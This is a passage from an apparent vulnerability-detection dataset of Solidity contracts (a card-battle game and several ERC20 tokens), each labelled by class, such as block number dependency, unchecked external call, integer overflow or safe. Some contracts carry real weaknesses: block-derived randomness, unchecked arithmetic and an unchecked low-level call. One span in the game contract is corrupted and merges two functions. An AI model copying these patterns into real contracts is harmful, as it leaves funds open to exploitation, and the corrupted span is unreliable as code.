cards[_id]; uint16[] memory extraStats = new uint16[](5); if (numOfSpecials>0) { if (card.cardHash%100 >= 70) { uint cardType = (uint(card.cardHash/10000000000))%100; if (cardType < 20) { extraStats[0]+=numOfSpecials; } else if (cardType < 40) { extraStats[1]+=numOfSpecials; } else if (cardType < 60) { extraStats[2]+=numOfSpecials; } else if (cardType < 80) { extraStats[3]+=numOfSpecials; } else { extraStats[4]+=numOfSpecials; } if (card.cardHash%100 >=90) { uint cardTypeInner = cardType%10; if (cardTypeInner < 2) { extraStats[0]+=numOfSpecials; } else if (cardTypeInner < 4) { extraStats[1]+=numOfSpecials; } else if (cardTypeInner < 6) { extraStats[2]+=numOfSpecials; } else if (cardTypeInner < 8) { extraStats[3]+=numOfSpecials; } else { extraStats[4]+=numOfSpecials; } } } } card.attack += (_attackLevelUp + extraStats[0]) * gemAttackConversion; card.defense += (_defenseLevelUp + extraStats[1]) * gemDefenseConversion; card.hp += (_hpLevelUp + extraStats[2]) * gemHpConversion; card.speed += (_speedLevelUp + extraStats[3]) * gemSpeedConversion; card.criticalRate += uint16(_criticalRateLevelUp * gemCriticalRateConversion); card.flexiGems += _flexiGemsLevelUp + extraStats[4]; card.level += 1; card.currentExp = 0; uint256 tempExpLevel = card.level; if (tempExpLevel > expToNextLevelArr.length) { tempExpLevel = expToNextLevelArr.length; } card.expToNextLevel = expToNextLevelArr[tempExpLevel]; } function max(uint a, uint b) private pure returns (uint) { return a > b ? a : b; } function challenge( uint256 _challengerCardId, uint32[5] _statUp, uint256 _defenderCardId, uint256 _defenderRank, uint16 _defenderLevel) external payable whenNotPaused onlyOwnerOf(_challengerCardId) { require(battleStart != false, ""battle has not started""); require(msg.sender != hogsmashToken.ownerOf(_defenderCardId), ""cannot challenge own cards""); Card storage challenger = cards[_challengerCardId]; require((_statUp[0] + _statUp[1] + _statUp[2] + _statUp[3] + _statUp[4])==challenger.flexiGems, ""flexi gems not used up""); Card storage defender = cards[_defenderCardId]; if (defender.rank != _defenderRank) { emit RejectChallenge(_challengerCardId, _defenderCardId, _defenderRank, 1, uint256(block.number)); (msg.sender).transfer(msg.value); return; } if (defender.level != _defenderLevel) { emit RejectChallenge(_challengerCardId, _defenderCardId, _defenderRank, 2, uint256(block.number)); (msg.sender).transfer(msg.value); return; } uint256 requiredChallengeFee = challengeFee; if (defender.rank <150) { requiredChallengeFee = requiredChallengeFee.mul(2); } require(msg.value == requiredChallengeFee, ""fee must be equals to challenge price""); uint256 developerFee = 0; if (msg.value > 0) { developerFee = _calculateFee(msg.value); } uint256[] memory stats = new uint256[](14); stats[0] = challenger.attack + (_statUp[0] * gemAttackConversion); stats[1] = challenger.defense + (_statUp[1] * gemDefenseConversion); stats[2] = challenger.hp + (_statUp[2] * gemHpConversion); stats[3] = challenger.speed + (_statUp[3] * gemSpeedConversion); stats[4] = challenger.criticalRate + (_statUp[4] * gemCriticalRateConversion); stats[5] = defender.criticalRate; stats[6] = defender.hp; stats[8] = challenger.hp + (_statUp[2] * gemHpConversion); stats[9] = challenger.rank; stats[10] = defender.rank; stats[11] = 0; stats[12] = _challengerCardId; stats[13] = _defenderCardId; if (stats[4]>7000) { stats[4] = 7000; } if (stats[5]>7000) { stats[5] = 7000; } if (((challenger.element-1) == defender.element) || ((challenger.element==1) && (defender.element==3)) || ((challenger.element==8) && (defender.element==9))) { stats[4] += 3000; if (stats[4]>8000) { stats[4] = 8000; } } if (((defender.element-1) == challenger.element) || ((defender.element==1) && (challenger.element==3)) || ((defender.element==8) && (challenger.element==9))) { stats[5] += 3000; if (stats[5]>8000) { stats[5] = 8000; } } uint256 battleSequence = _simulateBattle(challenger, defender, stats); stats[11] = _transferFees(_challengerCardId, stats, developerFee); emit BattleHistory( historyId, uint8(stats[7]), uint64(now), uint256(battleSequence), uint256(block.number), uint256(stats[11]) ); emit BattleHistoryChallenger( historyId, uint256(_challengerCardId), uint8(challenger.element), uint16(challenger.level), uint32(stats[0]), uint32(stats[1]), uint32(stats[8]), uint32(stats[3]), uint16(stats[4]), uint256(stats[9]) ); emit BattleHistoryDefender( historyId, uint256(_defenderCardId), uint8(defender.element), uint16(defender.level), uint32(defender.attack), uint32(defender.defense), uint32(defender.hp), uint32(defender.speed), uint16(stats[5]), uint256(stats[10]) ); historyId = historyId.add(1); } function _addBattleSequence(uint8 attackType, uint8 rounds, uint256 battleSequence) private pure returns (uint256) { uint256 mask = 0x3; mask = ~(mask << 2*rounds); uint256 newSeq = battleSequence & mask; newSeq = newSeq | (uint256(attackType) << 2*rounds); return newSeq; } function _simulateBattle(Card storage challenger, Card storage defender, uint[] memory stats) private returns (uint256 battleSequence) { bool continueBattle = true; uint8 currentAttacker = 0; uint256 tempAttackStrength; uint8 battleRound = 0; if (!_isChallengerAttackFirst(stats[3], defender.speed)){ currentAttacker = 1; } while (continueBattle) { if (currentAttacker==0) { if (_rollCriticalDice() <= stats[4]){ tempAttackStrength = stats[0] * 2; battleSequence = _addBattleSequence(2, battleRound, battleSequence); } else { tempAttackStrength = stats[0]; battleSequence = _addBattleSequence(0, battleRound, battleSequence); } if (tempAttackStrength <= defender.defense) { tempAttackStrength = 1; } else { tempAttackStrength -= defender.defense; } if (stats[6] <= tempAttackStrength) { stats[6] = 0; } else { stats[6] -= tempAttackStrength; } currentAttacker = 1; } else if (currentAttacker==1) { if (_rollCriticalDice() <= stats[5]){ tempAttackStrength = defender.attack * 2; battleSequence = _addBattleSequence(3, battleRound, battleSequence); } else { tempAttackStrength = defender.attack; battleSequence = _addBattleSequence(1, battleRound, battleSequence); } if (tempAttackStrength <= stats[1]) { tempAttackStrength = 1; } else { tempAttackStrength -= stats[1]; } if (stats[2] <= tempAttackStrength) { stats[2] = 0; } else { stats[2] -= tempAttackStrength; } currentAttacker = 0; } battleRound ++; if ((battleRound>=maxBattleRounds) || (stats[6]<=0) || (stats[2]<=0)){ continueBattle = false; } } uint32 challengerGainExp = 0; uint32 defenderGainExp = 0; if (challenger.level == defender.level) { challengerGainExp = activeWinExp[10]; } else if (challenger.level > defender.level) { if ((challenger.level - defender.level) >= 11) { challengerGainExp = 1; } else { challengerGainExp = activeWinExp[10 + defender.level - challenger.level]; } } else if (challenger.level < defender.level) { uint256 levelDiff = defender.level - challenger.level; if (levelDiff > 20) { levelDiff = 20; } challengerGainExp = activeWinExp[10+levelDiff]; } if (stats[2] == stats[6]) { stats[7] = 2; } else if (stats[2] > stats[6]) { stats[7] = 0; if (defender.rank < challenger.rank) { ranking[defender.rank] = stats[12]; ranking[challenger.rank] = stats[13]; uint256 tempRank = defender.rank; defender.rank = challenger.rank; challenger.rank = tempRank; } challenger.currentExp += challengerGainExp; if (challenger.currentExp > challenger.expToNextLevel) { challenger.currentExp = challenger.expToNextLevel; } defenderGainExp = ((challengerGainExp*105/100) + 5)/10; if (defenderGainExp <= 0) { defenderGainExp = 1; } defender.currentExp += defenderGainExp; if (defender.currentExp > defender.expToNextLevel) { defender.currentExp = defender.expToNextLevel; } } else if (stats[6] > stats[2]) { stats[7] = 1; uint32 tempChallengerGain = challengerGainExp*35/100; if (tempChallengerGain <= 0) { tempChallengerGain = 1; } challenger.currentExp += tempChallengerGain; if (challenger.currentExp > challenger.expToNextLevel) { challenger.currentExp = challenger.expToNextLevel; } defenderGainExp = challengerGainExp*30/100; if (defenderGainExp <= 0) { defenderGainExp = 1; } defender.currentExp += defenderGainExp; if (defender.currentExp > defender.expToNextLevel) { defender.currentExp = defender.expToNextLevel; } } return battleSequence; } function _transferFees(uint256 _challengerCardId, uint[] stats, uint256 developerFee) private returns (uint256 totalGained) { totalDeveloperCut = totalDeveloperCut.add(developerFee); uint256 remainFee = msg.value.sub(developerFee); totalGained = 0; if (stats[7] == 1) { rankTokens[stats[10]] = rankTokens[stats[10]].add(remainFee); totalRankTokens = totalRankTokens.add(remainFee); } else { address challengerAddress = hogsmashToken.ownerOf(_challengerCardId); if (stats[7] == 0) { if (stats[9] > stats[10]) { if (rankTokens[stats[10]] > 0) { totalGained = totalGained.add(rankTokens[stats[10]]); totalRankTokens = totalRankTokens.sub(rankTokens[stats[10]]); rankTokens[stats[10]] = 0; } if (rankTokens[stats[9]] > 0) { totalGained = totalGained.add(rankTokens[stats[9]]); totalRankTokens = totalRankTokens.sub(rankTokens[stats[9]]); rankTokens[stats[9]] = 0; } } else { if (stats[9]<50) { if ((stats[10] < 150) && (rankTokens[stats[10]] > 0)) { totalGained = totalGained.add(rankTokens[stats[10]]); totalRankTokens = totalRankTokens.sub(rankTokens[stats[10]]); rankTokens[stats[10]] = 0; } if ((stats[10] < 150) && (rankTokens[stats[9]] > 0)) { totalGained = totalGained.add(rankTokens[stats[9]]); totalRankTokens = totalRankTokens.sub(rankTokens[stats[9]]); rankTokens[stats[9]] = 0; } } } challengerAddress.transfer(totalGained.add(remainFee)); } else { challengerAddress.transfer(remainFee); } } } function _rollCriticalDice() private returns (uint16 result){ return uint16((getRandom() % 10000) + 1); } function _isChallengerAttackFirst(uint _challengerSpeed, uint _defenderSpeed ) private returns (bool){ uint8 randResult = uint8((getRandom() % 100) + 1); uint challengerChance = (((_challengerSpeed * 10 ** 3) / (_challengerSpeed + _defenderSpeed))+5) / 10; if (randResult <= challengerChance) { return true; } else { return false; } } function buyStarterPack() external payable whenNotPaused returns (uint256){ require(starterPackOnSale==true, ""starter pack is not on sale""); require(msg.value==starterPackPrice, ""fee must be equals to starter pack price""); require(address(marketplace) != address(0), ""marketplace not set""); totalDeveloperCut = totalDeveloperCut.add(starterPackPrice); hogsmashToken.setApprovalForAllByContract(msg.sender, marketplace, true); return _createCard(msg.sender, starterPackCardLevel); } function _createCard(address _to, uint16 _initLevel) private returns (uint256) { require(_to != address(0), ""cannot create card for unknown address""); currentElement+= 1; if (currentElement==4) { currentElement = 8; } if (currentElement == 10) { currentElement = 1; } uint256 tempExpLevel = _initLevel; if (tempExpLevel > expToNextLevelArr.length) { tempExpLevel = expToNextLevelArr.length; } uint32 tempCurrentExp = 0; if (_initLevel>1) { tempCurrentExp = expToNextLevelArr[tempExpLevel]; } uint256 tokenId = hogsmashToken.mint(_to); Card memory _card = Card({ element: currentElement, level: _initLevel, attack: 1, defense: 1, hp: 3, speed: 1, criticalRate: 25, flexiGems: 1, currentExp: tempCurrentExp, expToNextLevel: expToNextLevelArr[tempExpLevel], cardHash: generateHash(), createdDatetime :uint64(now), rank: tokenId }); cards[tokenId] = _card; ranking.push(tokenId); emit CardCreated(msg.sender, tokenId); return tokenId; } function generateHash() private returns (uint256 hash){ hash = uint256((getRandom()%1000000000000)/10000000000); hash = hash.mul(10000000000); uint256 tempHash = ((getRandom()%(eventCardRangeMax-eventCardRangeMin+1))+eventCardRangeMin)*100; hash = hash.add(tempHash); tempHash = getRandom()%100; if (tempHash < goldPercentage) { hash = hash.add(90); } else if (tempHash < (goldPercentage+silverPercentage)) { hash = hash.add(70); } else { hash = hash.add(50); } } function updateAvatar(uint256 _cardId, uint256 avatarHash) external payable whenNotPaused onlyOwnerOf(_cardId) { require(msg.value==avatarFee, ""fee must be equals to avatar price""); Card storage card = cards[_cardId]; uint256 tempHash = card.cardHash%1000000000000; card.cardHash = tempHash.add(avatarHash.mul(1000000000000)); emit HashUpdated(_cardId, card.cardHash); } function _calculateFee(uint256 _challengeFee) internal view returns (uint256) { return developerCut.mul(_challengeFee/10000); } function generateInitialCard(uint16 _cardLevel) external whenNotPaused onlyOwner returns (uint256) { require(address(marketplace) != address(0), ""marketplace not set""); require(_cardLevel<=20, ""maximum level cannot exceed 20""); hogsmashToken.setApprovalForAllByContract(msg.sender, marketplace, true); return _createCard(msg.sender, _cardLevel); } function distributeTokensToRank(uint[] ranks, uint256 tokensPerRank) external payable onlyOwner { require(msg.value == (tokensPerRank*ranks.length), ""tokens must be enough to distribute among ranks""); uint i; for (i=0; i= withdrawalSum) { totalDeveloperCut = 0; owner.transfer(withdrawalSum); } } } interface Marketplace { function isMarketplace() external returns (bool); } interface HogSmashToken { function ownerOf(uint256 _tokenId) external view returns (address); function balanceOf(address _owner) external view returns (uint256); function tokensOf(address _owner) external view returns (uint256[]); function mint(address _to) external returns (uint256 _tokenId); function setTokenURI(uint256 _tokenId, string _uri) external; function setApprovalForAllByContract(address _sender, address _to, bool _approved) external; }",./Dataset/block number dependency (BN),0,0 0x028a0dc391e1003d454f7766183f8ff431919eef_SYCC.sol,"pragma solidity ^0.4.16; /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { function mul(uint256 a, uint256 b) internal constant returns (uint256) { uint256 c = a * b; assert(a == 0 || c / a == b); return c; } function div(uint256 a, uint256 b) internal constant returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function sub(uint256 a, uint256 b) internal constant returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal constant returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } /** * @title ERC20Basic * @dev Simpler version of ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/179 */ contract ERC20Basic { uint256 public totalSupply; function balanceOf(address who) public constant returns (uint256); function transfer(address to, uint256 value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } /** * @title Basic token * @dev Basic version of StandardToken, with no allowances. */ contract BasicToken is ERC20Basic { using SafeMath for uint256; mapping(address => uint256) balances; /** * @dev transfer token for a specified address * @param _to The address to transfer to. * @param _value The amount to be transferred. */ function transfer(address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value > 0 && _value <= balances[msg.sender]); // SafeMath.sub will throw if there is not enough balance. balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); Transfer(msg.sender, _to, _value); return true; } /** * @dev Gets the balance of the specified address. * @param _owner The address to query the the balance of. * @return An uint256 representing the amount owned by the passed address. */ function balanceOf(address _owner) public constant returns (uint256 balance) { return balances[_owner]; } } /** * @title ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/20 */ contract ERC20 is ERC20Basic { function allowance(address owner, address spender) public constant returns (uint256); function transferFrom(address from, address to, uint256 value) public returns (bool); function approve(address spender, uint256 value) public returns (bool); event Approval(address indexed owner, address indexed spender, uint256 value); } /** * @title Standard ERC20 token * * @dev Implementation of the basic standard token. * @dev https://github.com/ethereum/EIPs/issues/20 * @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol */ contract StandardToken is ERC20, BasicToken { mapping (address => mapping (address => uint256)) internal allowed; /** * @dev Transfer tokens from one address to another * @param _from address The address which you want to send tokens from * @param _to address The address which you want to transfer to * @param _value uint256 the amount of tokens to be transferred */ function transferFrom(address _from, address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value > 0 && _value <= balances[_from]); require(_value <= allowed[_from][msg.sender]); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); Transfer(_from, _to, _value); return true; } /** * @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender. * * Beware that changing an allowance with this method brings the risk that someone may use both the old * and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this * race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * @param _spender The address which will spend the funds. * @param _value The amount of tokens to be spent. */ function approve(address _spender, uint256 _value) public returns (bool) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } /** * @dev Function to check the amount of tokens that an owner allowed to a spender. * @param _owner address The address which owns the funds. * @param _spender address The address which will spend the funds. * @return A uint256 specifying the amount of tokens still available for the spender. */ function allowance(address _owner, address _spender) public constant returns (uint256 remaining) { return allowed[_owner][_spender]; } } /** * @title Ownable * @dev The Ownable contract has an owner address, and provides basic authorization control * functions, this simplifies the implementation of ""user permissions"". */ contract Ownable { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ function Ownable() { owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) onlyOwner public { require(newOwner != address(0)); OwnershipTransferred(owner, newOwner); owner = newOwner; } } /** * @title Pausable * @dev Base contract which allows children to implement an emergency stop mechanism. */ contract Pausable is Ownable { event Pause(); event Unpause(); bool public paused = false; /** * @dev Modifier to make a function callable only when the contract is not paused. */ modifier whenNotPaused() { require(!paused); _; } /** * @dev Modifier to make a function callable only when the contract is paused. */ modifier whenPaused() { require(paused); _; } /** * @dev called by the owner to pause, triggers stopped state */ function pause() onlyOwner whenNotPaused public { paused = true; Pause(); } /** * @dev called by the owner to unpause, returns to normal state */ function unpause() onlyOwner whenPaused public { paused = false; Unpause(); } } /** * @title Pausable token * * @dev StandardToken modified with pausable transfers. **/ contract PausableToken is StandardToken, Pausable { function transfer(address _to, uint256 _value) public whenNotPaused returns (bool) { return super.transfer(_to, _value); } function transferFrom(address _from, address _to, uint256 _value) public whenNotPaused returns (bool) { return super.transferFrom(_from, _to, _value); } function approve(address _spender, uint256 _value) public whenNotPaused returns (bool) { return super.approve(_spender, _value); } function batchTransfer(address[] _receivers, uint256 _value) public whenNotPaused returns (bool) { uint cnt = _receivers.length; uint256 amount = uint256(cnt) * _value; require(cnt > 0 && cnt <= 20); require(_value > 0 && balances[msg.sender] >= amount); balances[msg.sender] = balances[msg.sender].sub(amount); for (uint i = 0; i < cnt; i++) { balances[_receivers[i]] = balances[_receivers[i]].add(_value); Transfer(msg.sender, _receivers[i], _value); } return true; } } /** * @title SYCC * * @dev Implementation of SYCC based on the basic standard token. */ contract SYCC is PausableToken { /** * Public variables of the token * The following variables are OPTIONAL vanities. One does not have to include them. * They allow one to customise the token contract & in no way influences the core functionality. * Some wallets/interfaces might not even bother to look at this information. */ string public name = ""SYCC""; string public symbol = ""SYCC""; string public version = '1.0.0'; uint8 public decimals = 18; /** * @dev Function to check the amount of tokens that an owner allowed to a spender. */ function SYCC() { totalSupply = 200000000 * (10**(uint256(decimals))); balances[0x729C933f1d9325676a1c7DFeCB71A87C747bcE50] = totalSupply; // Give the creator all initial tokens Transfer(address(0),0x729C933f1d9325676a1c7DFeCB71A87C747bcE50, totalSupply); } function () { //if ether is sent to this address, send it back. revert(); } }",Safe,8,8 34815.sol,"contract Token { /* This is a slight change to the ERC20 base standard. function totalSupply() constant returns (uint256 supply); is replaced with: uint256 public totalSupply; This automatically creates a getter function for the totalSupply. This is moved to the base contract since public getter functions are not currently recognised as an implementation of the matching abstract function by the compiler. */ /// total amount of tokens uint256 public totalSupply; /// @param _owner The address from which the balance will be retrieved /// @return The balance function balanceOf(address _owner) constant returns (uint256 balance); /// @notice send `_value` token to `_to` from `msg.sender` /// @param _to The address of the recipient /// @param _value The amount of token to be transferred /// @return Whether the transfer was successful or not function transfer(address _to, uint256 _value) returns (bool success); /// @notice send `_value` token to `_to` from `_from` on the condition it is approved by `_from` /// @param _from The address of the sender /// @param _to The address of the recipient /// @param _value The amount of token to be transferred /// @return Whether the transfer was successful or not function transferFrom(address _from, address _to, uint256 _value) returns (bool success); /// @notice `msg.sender` approves `_spender` to spend `_value` tokens /// @param _spender The address of the account able to transfer the tokens /// @param _value The amount of tokens to be approved for transfer /// @return Whether the approval was successful or not function approve(address _spender, uint256 _value) returns (bool success); /// @param _owner The address of the account owning tokens /// @param _spender The address of the account able to transfer the tokens /// @return Amount of remaining tokens allowed to spent function allowance(address _owner, address _spender) constant returns (uint256 remaining); event Transfer(address indexed _from, address indexed _to, uint256 _value); event Approval(address indexed _owner, address indexed _spender, uint256 _value); } contract StandardToken is Token { function transfer(address _to, uint256 _value) returns (bool success) { //默认totalSupply 不会超过最大值 (2^256 - 1). //如果随着时间的推移将会有新的token生成,则可以用下面这句避免溢出的异常 //require(balances[msg.sender] >= _value && balances[_to] + _value >balances[_to]); require(balances[msg.sender] >= _value); balances[msg.sender] -= _value;//从消息发送者账户中减去token数量_value balances[_to] += _value;//往接收账户增加token数量_value Transfer(msg.sender, _to, _value);//触发转币交易事件 return true; } function transferFrom(address _from, address _to, uint256 _value) returns (bool success) { //require(balances[_from] >= _value && allowed[_from][msg.sender] >= _value && balances[_to] + _value > balances[_to]); require(balances[_from] >= _value && allowed[_from][msg.sender] >= _value); balances[_to] += _value;//接收账户增加token数量_value balances[_from] -= _value; //支出账户_from减去token数量_value allowed[_from][msg.sender] -= _value;//消息发送者可以从账户_from中转出的数量减少_value Transfer(_from, _to, _value);//触发转币交易事件 return true; } //查询余额 function balanceOf(address _owner) constant returns (uint256 balance) { return balances[_owner]; } //授权账户_spender可以从消息发送者账户转出数量为_value的token function approve(address _spender, uint256 _value) returns (bool success) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } function allowance(address _owner, address _spender) constant returns (uint256 remaining) { return allowed[_owner][_spender];//允许_spender从_owner中转出的token数 } mapping (address => uint256) balances; mapping (address => mapping (address => uint256)) allowed; } contract HumanStandardToken is StandardToken { /* Public variables of the token */ string public name; //名称: eg Simon Bucks uint8 public decimals; //最多的小数位数How many decimals to show. ie. There could 1000 base units with 3 decimals. Meaning 0.980 SBX = 980 base units. It's like comparing 1 wei to 1 ether. string public symbol; //token简称: eg SBX string public version = 'H0.1'; //版本 function HumanStandardToken(uint256 _initialAmount, string _tokenName, uint8 _decimalUnits, string _tokenSymbol) { balances[msg.sender] = _initialAmount; // 初始token数量给予消息发送者 totalSupply = _initialAmount; // 设置初始总量 name = _tokenName; // token名称 decimals = _decimalUnits; // 小数位数 symbol = _tokenSymbol; // token简称 } /* 同意转出并调用接收合约(根据自己需求实现) */ function approveAndCall(address _spender, uint256 _value, bytes _extraData) returns (bool success) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); //call the receiveApproval function on the contract you want to be notified. This crafts the function signature manually so one doesn't have to include a contract in here just for this. //receiveApproval(address _from, uint256 _value, address _tokenContract, bytes _extraData) //it is assumed that when does this that the call *should* succeed, otherwise one would use vanilla approve instead. require(_spender.call(bytes4(bytes32(sha3(""receiveApproval(address,uint256,address,bytes)""))), msg.sender, _value, this, _extraData)); return true; } }",./Dataset/unchecked external call (UC),7,7 1158.sol,"pragma solidity ^0.4.23; contract Ownable { address public owner; event OwnershipRenounced(address indexed previousOwner); event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor() public { owner = msg.sender; } modifier onlyOwner() { require(msg.sender == owner); _; } function renounceOwnership() public onlyOwner { emit OwnershipRenounced(owner); owner = address(0); } function transferOwnership(address _newOwner) public onlyOwner { _transferOwnership(_newOwner); } function _transferOwnership(address _newOwner) internal { require(_newOwner != address(0)); emit OwnershipTransferred(owner, _newOwner); owner = _newOwner; } } contract ERC20Basic { function totalSupply() public view returns (uint256); function balanceOf(address who) public view returns (uint256); function transfer(address to, uint256 value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } library Roles { struct Role { mapping (address => bool) bearer; } function add(Role storage role, address addr) internal { role.bearer[addr] = true; } function remove(Role storage role, address addr) internal { role.bearer[addr] = false; } function check(Role storage role, address addr) view internal { require(has(role, addr)); } function has(Role storage role, address addr) view internal returns (bool) { return role.bearer[addr]; } } contract RBAC { using Roles for Roles.Role; mapping (string => Roles.Role) private roles; event RoleAdded(address addr, string roleName); event RoleRemoved(address addr, string roleName); function checkRole(address addr, string roleName) view public { roles[roleName].check(addr); } function hasRole(address addr, string roleName) view public returns (bool) { return roles[roleName].has(addr); } function addRole(address addr, string roleName) internal { roles[roleName].add(addr); emit RoleAdded(addr, roleName); } function removeRole(address addr, string roleName) internal { roles[roleName].remove(addr); emit RoleRemoved(addr, roleName); } modifier onlyRole(string roleName) { checkRole(msg.sender, roleName); _; } } contract ERC20 is ERC20Basic { function allowance(address owner, address spender) public view returns (uint256); function transferFrom(address from, address to, uint256 value) public returns (bool); function approve(address spender, uint256 value) public returns (bool); event Approval( address indexed owner, address indexed spender, uint256 value ); } contract DetailedERC20 is ERC20 { string public name; string public symbol; uint8 public decimals; constructor(string _name, string _symbol, uint8 _decimals) public { name = _name; symbol = _symbol; decimals = _decimals; } } library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256 c) { if (a == 0) { return 0; } c = a * b; assert(c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return a / b; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256 c) { c = a + b; assert(c >= a); return c; } } contract BasicToken is ERC20Basic { using SafeMath for uint256; mapping(address => uint256) balances; uint256 totalSupply_; function totalSupply() public view returns (uint256) { return totalSupply_; } function transfer(address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[msg.sender]); balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); emit Transfer(msg.sender, _to, _value); return true; } function balanceOf(address _owner) public view returns (uint256) { return balances[_owner]; } } contract StandardToken is ERC20, BasicToken { mapping (address => mapping (address => uint256)) internal allowed; function transferFrom( address _from, address _to, uint256 _value ) public returns (bool) { require(_to != address(0)); require(_value <= balances[_from]); require(_value <= allowed[_from][msg.sender]); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); emit Transfer(_from, _to, _value); return true; } function approve(address _spender, uint256 _value) public returns (bool) { allowed[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } function allowance( address _owner, address _spender ) public view returns (uint256) { return allowed[_owner][_spender]; } function increaseApproval( address _spender, uint _addedValue ) public returns (bool) { allowed[msg.sender][_spender] = ( allowed[msg.sender][_spender].add(_addedValue)); emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } function decreaseApproval( address _spender, uint _subtractedValue ) public returns (bool) { uint oldValue = allowed[msg.sender][_spender]; if (_subtractedValue > oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); } emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } } contract Pausable is Ownable { event Pause(); event Unpause(); bool public paused = false; modifier whenNotPaused() { require(!paused); _; } modifier whenPaused() { require(paused); _; } function pause() onlyOwner whenNotPaused public { paused = true; emit Pause(); } function unpause() onlyOwner whenPaused public { paused = false; emit Unpause(); } } contract PausableToken is StandardToken, Pausable, RBAC { string public constant ROLE_ADMINISTRATOR = ""administrator""; modifier whenNotPausedOrAuthorized() { require(!paused || hasRole(msg.sender, ROLE_ADMINISTRATOR)); _; } function addAdministrator(address _administrator) onlyOwner public returns (bool) { if (isAdministrator(_administrator)) { return false; } else { addRole(_administrator, ROLE_ADMINISTRATOR); return true; } } function removeAdministrator(address _administrator) onlyOwner public returns (bool) { if (isAdministrator(_administrator)) { removeRole(_administrator, ROLE_ADMINISTRATOR); return true; } else { return false; } } function isAdministrator(address _administrator) public view returns (bool) { return hasRole(_administrator, ROLE_ADMINISTRATOR); } function transfer(address _to, uint256 _value) public whenNotPausedOrAuthorized returns (bool) { return super.transfer(_to, _value); } function transferFrom(address _from, address _to, uint256 _value) public whenNotPausedOrAuthorized returns (bool) { return super.transferFrom(_from, _to, _value); } } contract Level01Token is DetailedERC20, PausableToken { uint256 public initialTotalSupply; uint256 constant INITIAL_WHOLE_TOKENS = 12 * 10e7; constructor() public DetailedERC20(""Level01 Token"", ""LVX"", 18) { initialTotalSupply = INITIAL_WHOLE_TOKENS * uint256(10) ** decimals; totalSupply_ = initialTotalSupply; balances[msg.sender] = initialTotalSupply; emit Transfer(address(0), msg.sender, initialTotalSupply); } }",./Dataset/integer overflow (OF)/,4,4 831.sol,"pragma solidity ^0.4.21; // File: contracts/library/SafeMath.sol /** * @title Safe Math * * @dev Library for safe mathematical operations. */ library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a * b; assert(a == 0 || c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a / b; return c; } function minus(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function plus(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } // File: contracts/token/ERC20Token.sol /** * @dev The standard ERC20 Token contract base. */ contract ERC20Token { uint256 public totalSupply; /* shorthand for public function and a property */ function balanceOf(address _owner) public view returns (uint256 balance); function transfer(address _to, uint256 _value) public returns (bool success); function transferFrom(address _from, address _to, uint256 _value) public returns (bool success); function approve(address _spender, uint256 _value) public returns (bool success); function allowance(address _owner, address _spender) public view returns (uint256 remaining); event Transfer(address indexed _from, address indexed _to, uint256 _value); event Approval(address indexed _owner, address indexed _spender, uint256 _value); } // File: contracts/component/TokenSafe.sol /** * @title TokenSafe * * @dev Abstract contract that serves as a base for the token safes. It is a multi-group token safe, where each group * has it's own release time and multiple accounts with locked tokens. */ contract TokenSafe { using SafeMath for uint; // The ERC20 token contract. ERC20Token token; struct Group { // The release date for the locked tokens // Note: Unix timestamp fits in uint32, however block.timestamp is uint256 uint256 releaseTimestamp; // The total remaining tokens in the group. uint256 remaining; // The individual account token balances in the group. mapping (address => uint) balances; } // The groups of locked tokens mapping (uint8 => Group) public groups; /** * @dev The constructor. * * @param _token The address of the Fabric Token (fundraiser) contract. */ constructor(address _token) public { token = ERC20Token(_token); } /** * @dev The function initializes a group with a release date. * * @param _id Group identifying number. * @param _releaseTimestamp Unix timestamp of the time after which the tokens can be released */ function init(uint8 _id, uint _releaseTimestamp) internal 